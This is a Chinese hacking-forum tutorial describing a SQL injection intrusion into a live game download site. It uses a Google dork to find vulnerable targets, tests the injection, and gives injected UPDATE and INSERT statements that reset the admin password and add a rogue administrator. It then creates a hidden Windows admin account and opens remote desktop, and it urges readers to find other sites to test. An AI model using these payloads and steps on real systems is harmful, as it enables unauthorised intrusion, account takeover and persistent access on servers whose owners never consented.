已经很久没搞入侵了...前不久看了老GUI的一个教程...是入侵下载站的.
首先在www.Google.com搜索SendMessages.ASP?SoftID= 搜索出了不少站.
约有 27,200 项符合SendMessages.asp?SoftID=的查询结果
有好多站已经补了漏洞.....或许被哪位仁兄捷足先登了...接着随手点了一个连接
来到了一个游戏下载站
http://game.the.cn/SendMessages.asp?SoftID=625
随手在后面加了个'
http://game.the.cn/SendMessages.asp?SoftID=625'
返回信息
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/SendMessages.asp，行72
数据库是SQL的...以前搞Access的搞的多了...sql接触的很少..这回有机会了.
为了确保有漏洞
http://game.the.cn/SendMessages.asp?SoftID=625%20and%201%20=%201
显示正常
http://game.the.cn/SendMessages.asp?SoftID=625%20and%201%20=%202
虽然没有出错信息.但是细心一看的话就会发现有所不同.
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
如图1与图2......怎么样...是不是发现有什么不同的地方了.
对,..主题里的软件：(625)牧场物语 的错误报告在
http://game.the.cn/SendMessages.asp?SoftID=625%20and%201%20=%202
后没有了.
大家在用NBSI和HDSI注入的时候..输入关键字就是这样来的...
不说废话了...下面来进入实站阶段
我用HDSI来检测~图3
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
[1] [2]
切顺利...SA权限...dbo用户
猜解表名Admin_UserInfo...最种猜出admin密码为7a57a5a743894a0e...很明显是md5加密后的.
由于是SQL的.我们可以用update来修改管理员密码.
;UPDATE 'Admin_UserInfo' SET 'passWord' = 'hackbase' WHERE Username='admin'--
把admin密码修改为hackbase
当然我们还可以加入一个新管理员
;INSERT INTO 'Admin_UserInfo' ('UserID', 'Username', 'password') VALUES (11,'fhod','hackbase')--
用户名fhod密码hackbase的管理员.
用HDSI高级命令执行DOS命令加用户时...发现教主的HDSI有个不足....加入成后
输入
net localgroup administrators看不到我们添加的用户fhod$
图4..
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
为了确保我的用户添加成功....又从盘里找出xiaolu写的SQL Commander...这个工具确实不错..再这里感谢xiaolu给我等菜鸟带来这么好的工具...有很多次入侵我都是利用它轻松完成的..
图5.
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
图中,...我添加的用户fhod$现在已经在administrators组了..
然后用HDSI的功能给它开了3389.......到这里入侵也应该告一段落了...
此文并没多少新技巧........算是温习一下..写给新手看的...
温故而知新嘛....
呵.~
希望高手不要见笑了........
在本文发出去之时...已经通知管理员补漏洞了..大家可以去找别的站来测试...希望不要乱搞破坏
解决方案:如果不熟悉ASP的话..可以去网上找一个"SQL通用防注入程序"来用就可以解决这个问题了.
SQL通用防注入程序
http://www.codefans.com/CodeView/CodeView_6882.html
文中用到的SQL Commander
http://www.ciker.org/soft/sqlcomm.rar
（出处：http://www.sheup.com）
[1] [2]
（出处：http://www.sheup.com）
[1] [2] [3]